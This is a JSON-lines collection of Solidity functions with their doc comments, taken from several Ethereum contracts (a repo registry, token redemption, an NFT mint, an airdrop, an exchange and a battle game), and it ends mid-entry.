auth(CREATE_REPO_ROLE) returns (Repo)\r\n {\r\n Repo repo = _newRepo(_name, this); // need to have permissions to create version\r\n repo.newVersion(_initialSemanticVersion, _contractAddress, _contentURI);\r\n\r\n // Give permissions to _dev\r\n ACL acl = ACL(kernel().acl());\r\n acl.revokePermission(this, repo, repo.CREATE_VERSION_ROLE());\r\n acl.grantPermission(_dev, repo, repo.CREATE_VERSION_ROLE());\r\n acl.setPermissionManager(_dev, repo, repo.CREATE_VERSION_ROLE());\r\n return repo;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Create new version for repo\r\n * @param _newSemanticVersion Semantic version for new repo version\r\n * @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress)\r\n * @param _contentURI External URI for fetching new version's content\r\n */", "function_code": "function newVersion(\r\n uint16[3] _newSemanticVersion,\r\n address _contractAddress,\r\n bytes _contentURI\r\n ) public auth(CREATE_VERSION_ROLE)\r\n {\r\n address contractAddress = _contractAddress;\r\n uint256 lastVersionIndex = versionsNextIndex - 1;\r\n\r\n uint16[3] memory lastSematicVersion;\r\n\r\n if (lastVersionIndex > 0) {\r\n Version storage lastVersion = versions[lastVersionIndex];\r\n lastSematicVersion = lastVersion.semanticVersion;\r\n\r\n if (contractAddress == address(0)) {\r\n contractAddress = lastVersion.contractAddress;\r\n }\r\n // Only allows smart contract change on major version bumps\r\n require(\r\n lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0],\r\n ERROR_INVALID_VERSION\r\n );\r\n }\r\n\r\n require(isValidBump(lastSematicVersion, _newSemanticVersion), ERROR_INVALID_BUMP);\r\n\r\n uint256 versionId = versionsNextIndex++;\r\n versions[versionId] = Version(_newSemanticVersion, contractAddress, _contentURI);\r\n versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId;\r\n latestVersionIdForContract[contractAddress] = versionId;\r\n\r\n emit NewVersion(versionId, _newSemanticVersion);\r\n }", "version": "0.4.24"} {"comment": "// https://ipfs.tokemaklabs.xyz/ipfs/Qmf5Vuy7x5t3rMCa6u57hF8AE89KLNkjdxSKjL8USALwYo/0x4eff3562075c5d2d9cb608139ec2fe86907005fa.json", "function_code": "function claimRewards(\n uint256 cycle,\n uint256 amount,\n uint8 v,\n bytes32 r,\n bytes32 s // bytes calldata signature\n ) external whenNotPaused {\n ITokemakRewards.Recipient memory recipient = ITokemakRewards.Recipient(\n 1, // chainId\n cycle,\n address(this), // wallet\n amount\n );\n\n ITokemakRewards(rewards).claim(recipient, v, r, s);\n\n emit ClaimRewards(\n msg.sender,\n address(TOKE_TOKEN_ADDRESS),\n address(this),\n amount\n );\n }", "version": "0.8.4"} {"comment": "/// Constructor initializes the contract\n///@param initialSupply Initial supply of tokens\n///@param tokenName Display name if the token\n///@param tokenSymbol Token symbol\n///@param decimalUnits Number of decimal points for token holding display\n///@param _redemptionPercentageOfDistribution The whole percentage number (0-100) of the total distributable profit amount available for token redemption in each profit distribution round ", "function_code": "function AquaToken(uint256 initialSupply, \r\n string tokenName, \r\n string tokenSymbol, \r\n uint8 decimalUnits,\r\n uint8 _redemptionPercentageOfDistribution,\r\n address _priceOracle\r\n ) public\r\n {\r\n totalSupplyOfTokens = initialSupply;\r\n holdings.add(msg.sender, LibHoldings.Holding({\r\n totalTokens : initialSupply, \r\n lockedTokens : 0,\r\n lastRewardNumber : 0,\r\n weiBalance : 0 \r\n }));\r\n\r\n name = tokenName; // Set the name for display purposes\r\n symbol = tokenSymbol; // Set the symbol for display purposes\r\n decimals = decimalUnits; // Amount of decimals for display purposes\r\n \r\n redemptionPercentageOfDistribution = _redemptionPercentageOfDistribution;\r\n \r\n priceOracle = AquaPriceOracle(_priceOracle);\r\n owner = msg.sender;\r\n \r\n tokenStatus = TokenStatus.OnSale;\r\n rewards.push(0);\r\n }", "version": "0.4.20"} {"comment": "///Token holders can call this function to request to redeem (sell back to \n///the company) part or all of their tokens\n///@param _numberOfTokens Number of tokens to redeem\n///@return Redemption request ID (required in order to cancel this redemption request)", "function_code": "function requestRedemption(uint256 _numberOfTokens) public returns (uint) {\r\n require(tokenStatus == TokenStatus.Trading && _numberOfTokens > 0);\r\n LibHoldings.Holding storage h = holdings.get(msg.sender);\r\n require(h.totalTokens.sub( h.lockedTokens) >= _numberOfTokens); // Check if the sender has enough\r\n\r\n uint redemptionId = redemptionsQueue.add(msg.sender, _numberOfTokens);\r\n\r\n h.lockedTokens = h.lockedTokens.add(_numberOfTokens);\r\n RequestRedemption(msg.sender, _numberOfTokens, redemptionId);\r\n return redemptionId;\r\n }", "version": "0.4.20"} {"comment": "///Token holders can call this function to cancel a redemption request they \n///previously submitted using requestRedemption function\n///@param _requestId Redemption request ID", "function_code": "function cancelRedemptionRequest(uint256 _requestId) public {\r\n require(tokenStatus == TokenStatus.Trading && redemptionsQueue.exists(_requestId));\r\n LibRedemptions.Redemption storage r = redemptionsQueue.get(_requestId); \r\n require(r.holderAddress == msg.sender);\r\n\r\n LibHoldings.Holding storage h = holdings.get(msg.sender); \r\n h.lockedTokens = h.lockedTokens.sub(r.numberOfTokens);\r\n uint numberOfTokens = r.numberOfTokens;\r\n redemptionsQueue.remove(_requestId);\r\n\r\n CancelRedemptionRequest(msg.sender, numberOfTokens, _requestId);\r\n }", "version": "0.4.20"} {"comment": "///The function returns token holder details given token holder account address\n///@param _holder Account address of a token holder\n///@return totalTokens Total tokens held by this token holder\n///@return lockedTokens The number of tokens (out of the total held but this token holder) that are locked and await redemption to be processed\n///@return weiBalance Wei balance of the token holder available for withdrawal.", "function_code": "function getHolding(address _holder) public constant \r\n returns (uint totalTokens, uint lockedTokens, uint weiBalance) {\r\n if (!holdings.exists(_holder)) {\r\n totalTokens = 0;\r\n lockedTokens = 0;\r\n weiBalance = 0;\r\n return;\r\n }\r\n LibHoldings.Holding storage h = holdings.get(_holder);\r\n totalTokens = h.totalTokens;\r\n lockedTokens = h.lockedTokens;\r\n uint stepsMade;\r\n (weiBalance, stepsMade) = calcFullWeiBalance(h, 0);\r\n return;\r\n }", "version": "0.4.20"} {"comment": "///Token owner calls this function to progress profit distribution round\n///@param maxNumbeOfSteps Maximum number of steps in this progression\n///@return False in case profit distribution round has completed", "function_code": "function continueDistribution(uint maxNumbeOfSteps) public returns (bool) {\r\n require(tokenStatus == TokenStatus.Distributing);\r\n if (continueRedeeming(maxNumbeOfSteps)) {\r\n ContinueDistribution(true);\r\n return true;\r\n }\r\n uint tokenReward = distCtx.totalRewardAmount.div( totalSupplyOfTokens );\r\n rewards.push(tokenReward);\r\n uint paidReward = tokenReward.mul(totalSupplyOfTokens);\r\n\r\n\r\n uint unusedDistributionAmount = distCtx.totalRewardAmount.sub(paidReward);\r\n if (unusedDistributionAmount > 0) {\r\n if (!holdings.exists(owner)) { \r\n holdings.add(owner, LibHoldings.Holding({\r\n totalTokens : 0, \r\n lockedTokens : 0,\r\n lastRewardNumber : rewards.length.sub(1),\r\n weiBalance : unusedDistributionAmount \r\n }));\r\n }\r\n else {\r\n LibHoldings.Holding storage ownerHolding = holdings.get(owner);\r\n ownerHolding.weiBalance = ownerHolding.weiBalance.add(unusedDistributionAmount);\r\n }\r\n }\r\n tokenStatus = TokenStatus.Trading;\r\n DistributionCompleted(distCtx.receivedRedemptionAmount.sub(distCtx.redemptionAmount), \r\n paidReward, unusedDistributionAmount);\r\n ContinueDistribution(false);\r\n return false;\r\n }", "version": "0.4.20"} {"comment": "///Token holder can call this function to withdraw their balance (dividend \n///and redemption payments) while limiting the number of operations (in the\n///extremely unlikely case when withdrawBalance function exceeds gas limit)\n///@param maxSteps Maximum number of steps to take while withdrawing holder balance", "function_code": "function withdrawBalanceMaxSteps(uint maxSteps) public {\r\n require(holdings.exists(msg.sender));\r\n LibHoldings.Holding storage h = holdings.get(msg.sender); \r\n uint updatedBalance;\r\n uint stepsMade;\r\n (updatedBalance, stepsMade) = calcFullWeiBalance(h, maxSteps);\r\n h.weiBalance = 0;\r\n h.lastRewardNumber = h.lastRewardNumber.add(stepsMade);\r\n \r\n bool balanceRemainig = h.lastRewardNumber < rewards.length.sub(1);\r\n if (h.totalTokens == 0 && h.weiBalance == 0) \r\n holdings.remove(msg.sender);\r\n\r\n msg.sender.transfer(updatedBalance);\r\n \r\n WithdrawBalance(msg.sender, updatedBalance, balanceRemainig);\r\n }", "version": "0.4.20"} {"comment": "///Token holders can call this method to permanently destroy their tokens.\n///WARNING: Burned tokens cannot be recovered!\n///@param numberOfTokens Number of tokens to burn (permanently destroy)\n///@return True if operation succeeds ", "function_code": "function burn(uint256 numberOfTokens) external returns (bool success) {\r\n require(holdings.exists(msg.sender));\r\n if (numberOfTokens == 0) {\r\n Burn(msg.sender, numberOfTokens);\r\n return true;\r\n }\r\n LibHoldings.Holding storage fromHolding = holdings.get(msg.sender);\r\n require(fromHolding.totalTokens.sub(fromHolding.lockedTokens) >= numberOfTokens); // Check if the sender has enough\r\n\r\n updateWeiBalance(fromHolding, 0); \r\n fromHolding.totalTokens = fromHolding.totalTokens.sub(numberOfTokens); // Subtract from the sender\r\n if (fromHolding.totalTokens == 0 && fromHolding.weiBalance == 0) \r\n holdings.remove(msg.sender);\r\n totalSupplyOfTokens = totalSupplyOfTokens.sub(numberOfTokens);\r\n\r\n Burn(msg.sender, numberOfTokens);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "///Token owner to call this to initiate final distribution in case of project wind-up", "function_code": "function windUp() onlyOwner public payable {\r\n require(tokenStatus == TokenStatus.Trading);\r\n tokenStatus = TokenStatus.WindingUp;\r\n uint totalWindUpAmount = msg.value;\r\n \r\n uint tokenReward = msg.value.div(totalSupplyOfTokens);\r\n rewards.push(tokenReward);\r\n uint paidReward = tokenReward.mul(totalSupplyOfTokens);\r\n\r\n uint unusedWindUpAmount = totalWindUpAmount.sub(paidReward);\r\n if (unusedWindUpAmount > 0) {\r\n if (!holdings.exists(owner)) { \r\n holdings.add(owner, LibHoldings.Holding({\r\n totalTokens : 0, \r\n lockedTokens : 0,\r\n lastRewardNumber : rewards.length.sub(1),\r\n weiBalance : unusedWindUpAmount \r\n }));\r\n }\r\n else {\r\n LibHoldings.Holding storage ownerHolding = holdings.get(owner);\r\n ownerHolding.weiBalance = ownerHolding.weiBalance.add(unusedWindUpAmount);\r\n }\r\n }\r\n WindingUpStarted(msg.value);\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * Generates a random Bit Monster.\r\n *\r\n * 9/6666 bit monsters will be special, which means they're prebuilt images instead of assembled from the 6 attributes a normal Bit Monster has.\r\n * All 9 specials are guaranteed to be minted by the time all 6666 Bit Monsters are minted.\r\n * The chance of a special at each roll is roughly even, although there's a slight dip in chance in the mid-range.\r\n */", "function_code": "function generateBitMonster(Rng memory rn, bool[9] memory ms) internal returns (BitMonster memory) {\r\n uint count = bitMonsters.totalSupply();\r\n\r\n int ub = 6666 - int(count) - 1 - (90 - int(mintedSpecialsCount) * 10);\r\n if (ub < 0) {\r\n ub = 0;\r\n }\r\n\r\n BitMonster memory m;\r\n if (rn.generate(0, uint(ub)) <= (6666 - count) / 666) {\r\n m = BitMonsterGen.generateSpecialBitMonster(rn, ms);\r\n }\r\n else {\r\n m = BitMonsterGen.generateUnspecialBitMonster(rn);\r\n }\r\n\r\n if (m.special != Special.NONE) {\r\n mintedSpecialsCount++;\r\n }\r\n rng = rn;\r\n return m;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Mints some Bit Monsters.\r\n *\r\n * @param count The number of Bit Monsters to mint. Must be >= 1 and <= 10.\r\n * You must send 0.06 ETH for each Bit Monster you want to mint.\r\n */", "function_code": "function mint(uint count) external payable {\r\n require(count >= 1 && count <= 10, \"Count must be >=1 and <=10\");\r\n require(!Address.isContract(msg.sender), \"Contracts cannot mint\");\r\n require(mintingState != MintingState.NotAllowed, \"Minting is not allowed atm\");\r\n\r\n if (mintingState == MintingState.WhitelistOnly) {\r\n require(whitelist[msg.sender] >= 1000 + count, \"Not enough whitelisted mints\");\r\n whitelist[msg.sender] -= count;\r\n }\r\n\r\n require(msg.value == count * 0.06 ether, \"Send exactly 0.06 ETH for each mint\");\r\n\r\n Rng memory rn = rng;\r\n bool[9] memory ms = mintedSpecials;\r\n\r\n for (uint i = 0; i < count; ++i) {\r\n bitMonsters.createBitMonster(generateBitMonster(rn, ms), msg.sender);\r\n }\r\n\r\n rng = rn;\r\n mintedSpecials = ms;\r\n\r\n Address.sendValue(payHere, msg.value);\r\n }", "version": "0.8.7"} {"comment": "/// @notice Extracts the r, s, and v components from the `sigData` field starting from the `offset`\n/// @dev Note: does not do any bounds checking on the arguments!\n/// @param sigData the signature data; could be 1 or more packed signatures.\n/// @param offset the offset in sigData from which to start unpacking the signature components.", "function_code": "function extractSignature(bytes memory sigData, uint256 offset) internal pure returns (bytes32 r, bytes32 s, uint8 v) {\r\n // Divide the signature in r, s and v variables\r\n // ecrecover takes the signature parameters, and the only way to get them\r\n // currently is to use assembly.\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let dataPointer := add(sigData, offset)\r\n r := mload(add(dataPointer, 0x20))\r\n s := mload(add(dataPointer, 0x40))\r\n v := byte(0, mload(add(dataPointer, 0x60)))\r\n }\r\n \r\n return (r, s, v);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev claimTokens() provides airdrop winners the function of collecting their tokens\r\n */", "function_code": "function claimTokens() \r\n ifNotPaused\r\n public {\r\n Contribution storage contrib = contributions[msg.sender];\r\n require(contrib.isValid, \"Address not found in airdrop list\");\r\n require(contrib.tokenAmount > 0, \"There are currently no tokens to claim.\");\r\n uint256 tempPendingTokens = contrib.tokenAmount;\r\n contrib.tokenAmount = 0;\r\n totalTokensClaimed = totalTokensClaimed.add(tempPendingTokens);\r\n contrib.wasClaimed = true;\r\n ERC20(tokenAddress).transfer(msg.sender, tempPendingTokens);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Returns the metadata of the Bit Monster corresponding to the given tokenId as a base64-encoded JSON object. Meant for use with OpenSea.\r\n *\r\n * @dev This function can take a painful amount of time to run, sometimes exceeding 9 minutes in length. Use getBitMonster() instead for frontends.\r\n */", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory) {\r\n require(_exists(tokenId), \"the token doesn't exist\");\r\n\r\n string memory metadataRaw = metadata.getMetadataJson(tokenId);\r\n string memory metadataB64 = Base64.encode(bytes(metadataRaw));\r\n\r\n return string(abi.encodePacked(\r\n \"data:application/json;base64,\",\r\n metadataB64\r\n ));\r\n }", "version": "0.8.7"} {"comment": "/// @dev Called when the receiver of transfer is contract\n/// @param _sender address the address of tokens sender\n/// @param _value uint256 the amount of tokens to be transferred.\n/// @param _data bytes data that can be attached to the token transation", "function_code": "function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) {\r\n if (!supportsToken(msg.sender)) {\r\n return false;\r\n }\r\n\r\n // Problem: This will do a sstore which is expensive gas wise. Find a way to keep it in memory.\r\n // Solution: Remove the the data\r\n tkn = Tkn(msg.sender, _sender, _value);\r\n __isTokenFallback = true;\r\n if (!address(this).delegatecall(_data)) {\r\n __isTokenFallback = false;\r\n return false;\r\n }\r\n // avoid doing an overwrite to .token, which would be more expensive\r\n // makes accessing .tkn values outside tokenPayable functions unsafe\r\n __isTokenFallback = false;\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @dev initialize the contract.", "function_code": "function initialize() private returns (bool success) {\r\n R1 = token1.balanceOf(this);\r\n R2 = token2.balanceOf(this);\r\n // one reserve should be full and the second should be empty\r\n success = ((R1 == 0 && R2 == S2) || (R2 == 0 && R1 == S1));\r\n if (success) {\r\n operational = true;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev the price of token1 in terms of token2, represented in 18 decimals.\n/// price = (S1 - R1) / (S2 - R2) * (S2 / S1)^2\n/// @param _R1 uint256 reserve of the first token\n/// @param _R2 uint256 reserve of the second token\n/// @param _S1 uint256 total supply of the first token\n/// @param _S2 uint256 total supply of the second token", "function_code": "function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256 price) {\r\n price = PRECISION;\r\n price = price.mul(_S1.sub(_R1));\r\n price = price.div(_S2.sub(_R2));\r\n price = price.mul(_S2);\r\n price = price.div(_S1);\r\n price = price.mul(_S2);\r\n price = price.div(_S1);\r\n }", "version": "0.4.18"} {"comment": "/// @dev get a quote for exchanging and update temporary reserves.\n/// @param _fromToken the token to sell from\n/// @param _inAmount the amount to sell\n/// @param _toToken the token to buy\n/// @return the return amount of the buying token", "function_code": "function quoteAndReserves(address _fromToken, uint256 _inAmount, address _toToken) private isOperational returns (uint256 returnAmount) {\r\n // if buying token2 from token1\r\n if (token1 == _fromToken && token2 == _toToken) {\r\n // add buying amount to the temp reserve\r\n l_R1 = R1.add(_inAmount);\r\n // calculate the other reserve\r\n l_R2 = calcReserve(l_R1, S1, S2);\r\n if (l_R2 > R2) {\r\n return 0;\r\n }\r\n // the returnAmount is the other reserve difference\r\n returnAmount = R2.sub(l_R2);\r\n }\r\n // if buying token1 from token2\r\n else if (token2 == _fromToken && token1 == _toToken) {\r\n // add buying amount to the temp reserve\r\n l_R2 = R2.add(_inAmount);\r\n // calculate the other reserve\r\n l_R1 = calcReserve(l_R2, S2, S1);\r\n if (l_R1 > R1) {\r\n return 0;\r\n }\r\n // the returnAmount is the other reserve difference\r\n returnAmount = R1.sub(l_R1);\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev get a quote for exchanging.\n/// @param _fromToken the token to sell from\n/// @param _inAmount the amount to sell\n/// @param _toToken the token to buy\n/// @return the return amount of the buying token", "function_code": "function quote(address _fromToken, uint256 _inAmount, address _toToken) public constant isOperational returns (uint256 returnAmount) {\r\n uint256 _R1;\r\n uint256 _R2;\r\n // if buying token2 from token1\r\n if (token1 == _fromToken && token2 == _toToken) {\r\n // add buying amount to the temp reserve\r\n _R1 = R1.add(_inAmount);\r\n // calculate the other reserve\r\n _R2 = calcReserve(_R1, S1, S2);\r\n if (_R2 > R2) {\r\n return 0;\r\n }\r\n // the returnAmount is the other reserve difference\r\n returnAmount = R2.sub(_R2);\r\n }\r\n // if buying token1 from token2\r\n else if (token2 == _fromToken && token1 == _toToken) {\r\n // add buying amount to the temp reserve\r\n _R2 = R2.add(_inAmount);\r\n // calculate the other reserve\r\n _R1 = calcReserve(_R2, S2, S1);\r\n if (_R1 > R1) {\r\n return 0;\r\n }\r\n // the returnAmount is the other reserve difference\r\n returnAmount = R1.sub(_R1);\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev calculate second reserve from the first reserve and the supllies.\n/// @dev formula: R2 = S2 * (S1 - sqrt(R1 * S1 * 2 - R1 ^ 2)) / S1\n/// @dev the equation is simetric, so by replacing _S1 and _S2 and _R1 with _R2 we can calculate the first reserve from the second reserve\n/// @param _R1 the first reserve\n/// @param _S1 the first total supply\n/// @param _S2 the second total supply\n/// @return _R2 the second reserve", "function_code": "function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256 _R2) {\r\n _R2 = _S2\r\n .mul(\r\n _S1\r\n .sub(\r\n _R1\r\n .mul(_S1)\r\n .mul(2)\r\n .sub(\r\n _R1\r\n .toPower2()\r\n )\r\n .sqrt()\r\n )\r\n )\r\n .div(_S1);\r\n }", "version": "0.4.18"} {"comment": "/// @dev change tokens.\n/// @param _fromToken the token to sell from\n/// @param _inAmount the amount to sell\n/// @param _toToken the token to buy\n/// @param _minReturn the munimum token to buy\n/// @return the return amount of the buying token", "function_code": "function change(address _fromToken, uint256 _inAmount, address _toToken, uint256 _minReturn) public canTrade returns (uint256 returnAmount) {\r\n // pull transfer the selling token\r\n require(ERC20(_fromToken).transferFrom(msg.sender, this, _inAmount));\r\n // exchange the token\r\n returnAmount = exchange(_fromToken, _inAmount, _toToken, _minReturn);\r\n if (returnAmount == 0) {\r\n // if no return value revert\r\n revert();\r\n }\r\n // transfer the buying token\r\n ERC20(_toToken).transfer(msg.sender, returnAmount);\r\n // validate the reserves\r\n require(validateReserves());\r\n Change(_fromToken, _inAmount, _toToken, returnAmount, msg.sender);\r\n }", "version": "0.4.18"} {"comment": "/// @dev allow admin to withraw excess tokens accumulated due to precision", "function_code": "function withdrawExcessReserves() public onlyOwner returns (uint256 returnAmount) {\r\n // if there is excess of token 1, transfer it to the owner\r\n if (token1.balanceOf(this) > R1) {\r\n returnAmount = returnAmount.add(token1.balanceOf(this).sub(R1));\r\n token1.transfer(msg.sender, token1.balanceOf(this).sub(R1));\r\n }\r\n // if there is excess of token 2, transfer it to the owner\r\n if (token2.balanceOf(this) > R2) {\r\n returnAmount = returnAmount.add(token2.balanceOf(this).sub(R2));\r\n token2.transfer(msg.sender, token2.balanceOf(this).sub(R2));\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Should be called by external mechanism when reward funds are sent to this contract", "function_code": "function notifyRewardAmount(uint256 reward)\r\n external\r\n override\r\n nonReentrant\r\n onlyRewardDistributor\r\n updateReward(address(0))\r\n {\r\n // overflow fix according to https://sips.synthetix.io/sips/sip-77\r\n require(reward < uint(-1) / 1e18, \"the notified reward cannot invoke multiplication overflow\");\r\n\r\n if (block.timestamp >= periodFinish) {\r\n rewardRate = reward.div(duration);\r\n } else {\r\n uint256 remaining = periodFinish.sub(block.timestamp);\r\n uint256 leftover = remaining.mul(rewardRate);\r\n rewardRate = reward.add(leftover).div(duration);\r\n }\r\n lastUpdateTime = block.timestamp;\r\n periodFinish = block.timestamp.add(duration);\r\n emit RewardAdded(reward);\r\n }", "version": "0.6.12"} {"comment": "//////////////////////////////////////////////////\n//////////////////////////////////////////////////\n//////////////////////////////////////////////////\n/// @notice Withdraw portion of allocation unlocked", "function_code": "function withdraw() public onlyOwner {\r\n uint256 timestamp = block.timestamp;\r\n\r\n if (timestamp == lastWithdrawalTimestamp) return;\r\n\r\n uint256 _lastWithdrawalTimestamp = lastWithdrawalTimestamp;\r\n lastWithdrawalTimestamp = timestamp;\r\n\r\n uint256 balance = premia.balanceOf(address(this));\r\n\r\n if (timestamp >= endTimestamp) {\r\n premia.safeTransfer(msg.sender, balance);\r\n } else {\r\n\r\n uint256 elapsedSinceLastWithdrawal = timestamp.sub(_lastWithdrawalTimestamp);\r\n uint256 timeLeft = endTimestamp.sub(_lastWithdrawalTimestamp);\r\n premia.safeTransfer(msg.sender, balance.mul(elapsedSinceLastWithdrawal).div(timeLeft));\r\n }\r\n }", "version": "0.7.6"} {"comment": "/*\r\n * @param characterType\r\n * @param adversaryType\r\n * @return whether adversaryType is a valid type of adversary for a given character\r\n */", "function_code": "function isValidAdversary(uint8 characterType, uint8 adversaryType) pure returns (bool) {\r\n if (characterType >= KNIGHT_MIN_TYPE && characterType <= KNIGHT_MAX_TYPE) { // knight\r\n return (adversaryType <= DRAGON_MAX_TYPE);\r\n } else if (characterType >= WIZARD_MIN_TYPE && characterType <= WIZARD_MAX_TYPE) { // wizard\r\n return (adversaryType < BALLOON_MIN_TYPE || adversaryType > BALLOON_MAX_TYPE);\r\n } else if (characterType >= DRAGON_MIN_TYPE && characterType <= DRAGON_MAX_TYPE) { // dragon\r\n return (adversaryType >= WIZARD_MIN_TYPE);\r\n } else if (characterType >= ARCHER_MIN_TYPE && characterType <= ARCHER_MAX_TYPE) { // archer\r\n return ((adversaryType >= BALLOON_MIN_TYPE && adversaryType <= BALLOON_MAX_TYPE)\r\n || (adversaryType >= KNIGHT_MIN_TYPE && adversaryType <= KNIGHT_MAX_TYPE));\r\n \r\n }\r\n return false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * pick a random adversary.\r\n * @param nonce a nonce to make sure there's not always the same adversary chosen in a single block.\r\n * @return the index of a random adversary character\r\n * */", "function_code": "function getRandomAdversary(uint256 nonce, uint8 characterType) internal view returns(uint16) {\r\n uint16 randomIndex = uint16(generateRandomNumber(nonce) % numCharacters);\r\n // use 7, 11 or 13 as step size. scales for up to 1000 characters\r\n uint16 stepSize = numCharacters % 7 == 0 ? (numCharacters % 11 == 0 ? 13 : 11) : 7;\r\n uint16 i = randomIndex;\r\n //if the picked character is a knight or belongs to the sender, look at the character + stepSizes ahead in the array (modulo the total number)\r\n //will at some point return to the startingPoint if no character is suited\r\n do {\r\n if (isValidAdversary(characterType, characters[ids[i]].characterType) && characters[ids[i]].owner != msg.sender) {\r\n return i;\r\n }\r\n i = (i + stepSize) % numCharacters;\r\n } while (i != randomIndex);\r\n\r\n return INVALID_CHARACTER_INDEX;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Hits the character of the given type at the given index.\r\n * Wizards can knock off two protections. Other characters can do only one.\r\n * @param index the index of the character\r\n * @param nchars the number of characters\r\n * @return the value gained from hitting the characters (zero is the character was protected)\r\n * */", "function_code": "function hitCharacter(uint16 index, uint16 nchars, uint8 characterType) internal returns(uint128 characterValue) {\r\n uint32 id = ids[index];\r\n uint8 knockOffProtections = 1;\r\n if (characterType >= WIZARD_MIN_TYPE && characterType <= WIZARD_MAX_TYPE) {\r\n knockOffProtections = 2;\r\n }\r\n if (protection[id] >= knockOffProtections) {\r\n protection[id] = protection[id] - knockOffProtections;\r\n return 0;\r\n }\r\n characterValue = characters[ids[index]].value;\r\n nchars--;\r\n replaceCharacter(index, nchars);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * finds the oldest character\r\n * */", "function_code": "function findOldest() public {\r\n uint32 newOldest = noKing;\r\n for (uint16 i = 0; i < numCharacters; i++) {\r\n if (ids[i] < newOldest && characters[ids[i]].characterType <= DRAGON_MAX_TYPE)\r\n newOldest = ids[i];\r\n }\r\n oldest = newOldest;\r\n }", "version": "0.4.24"} {"comment": "/* @dev distributes castle loot among archers */", "function_code": "function distributeCastleLoot(uint32 characterId) public onlyUser {\r\n require(castleTreasury > 0, \"empty treasury\");\r\n Character archer = characters[characterId];\r\n require(archer.characterType >= ARCHER_MIN_TYPE && archer.characterType <= ARCHER_MAX_TYPE, \"only archers can access the castle treasury\");\r\n if(lastCastleLootDistributionTimestamp[characterId] == 0) \r\n require(now - archer.purchaseTimestamp >= config.castleLootDistributionThreshold(), \r\n \"not enough time has passed since the purchase\");\r\n else \r\n require(now >= lastCastleLootDistributionTimestamp[characterId] + config.castleLootDistributionThreshold(),\r\n \"not enough time passed since the last castle loot distribution\");\r\n require(archer.fightCount >= 3, \"need to fight 3 times\");\r\n lastCastleLootDistributionTimestamp[characterId] = now;\r\n archer.fightCount = 0;\r\n \r\n uint128 luckFactor = generateLuckFactor(uint128(generateRandomNumber(characterId) % 1000));\r\n if (luckFactor < 3) {\r\n luckFactor = 3;\r\n }\r\n assert(luckFactor <= 50);\r\n uint128 amount = castleTreasury * luckFactor / 100; \r\n archer.value += amount;\r\n castleTreasury -= amount;\r\n emit NewDistributionCastleLoot(amount, characterId, luckFactor);\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * sell the character of the given id\r\n * throws an exception in case of a knight not yet teleported to the game\r\n * @param characterId the id of the character\r\n * */", "function_code": "function sellCharacter(uint32 characterId, uint16 characterIndex) public onlyUser {\r\n if (characterIndex >= numCharacters || characterId != ids[characterIndex])\r\n characterIndex = getCharacterIndex(characterId);\r\n Character storage char = characters[characterId];\r\n require(msg.sender == char.owner,\r\n \"only owners can sell their characters\");\r\n require(char.characterType < BALLOON_MIN_TYPE || char.characterType > BALLOON_MAX_TYPE,\r\n \"balloons are not sellable\");\r\n require(char.purchaseTimestamp + 1 days < now,\r\n \"character can be sold only 1 day after the purchase\");\r\n uint128 val = char.value;\r\n numCharacters--;\r\n replaceCharacter(characterIndex, numCharacters);\r\n msg.sender.transfer(val);\r\n if (oldest == 0)\r\n findOldest();\r\n emit NewSell(characterId, msg.sender, val);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Knights, balloons, wizards, and archers are only entering the game completely, when they are teleported to the scene\r\n * @param id the character id\r\n * */", "function_code": "function teleportCharacter(uint32 id) internal {\r\n // ensure we do not teleport twice\r\n require(teleported[id] == false,\r\n \"already teleported\");\r\n teleported[id] = true;\r\n Character storage character = characters[id];\r\n require(character.characterType > DRAGON_MAX_TYPE,\r\n \"dragons do not need to be teleported\"); //this also makes calls with non-existent ids fail\r\n addCharacter(id, numCharacters);\r\n numCharacters++;\r\n numCharactersXType[character.characterType]++;\r\n emit NewTeleport(id);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * returns 10 characters starting from a certain indey\r\n * @param startIndex the index to start from\r\n * @return 4 arrays containing the ids, types, values and owners of the characters\r\n * */", "function_code": "function get10Characters(uint16 startIndex) constant public returns(uint32[10] characterIds, uint8[10] types, uint128[10] values, address[10] owners) {\r\n uint32 endIndex = startIndex + 10 > numCharacters ? numCharacters : startIndex + 10;\r\n uint8 j = 0;\r\n uint32 id;\r\n for (uint16 i = startIndex; i < endIndex; i++) {\r\n id = ids[i];\r\n characterIds[j] = id;\r\n types[j] = characters[id].characterType;\r\n values[j] = characters[id].value;\r\n owners[j] = characters[id].owner;\r\n j++;\r\n }\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice This function adds liquidity to Mushroom vaults with ETH or ERC20 tokens\r\n @param fromToken The token used for entry (address(0) if ether)\r\n @param amountIn The amount of fromToken to invest\r\n @param toVault Harvest vault address\r\n @param minMVTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise\r\n @param intermediateToken Token to swap fromToken to before entering vault\r\n @param swapTarget Excecution target for the swap or zap\r\n @param swapData DEX or Zap data\r\n @param affiliate Affiliate address\r\n @param shouldSellEntireBalance True if amountIn is determined at execution time (i.e. contract is caller)\r\n @return tokensReceived- Quantity of 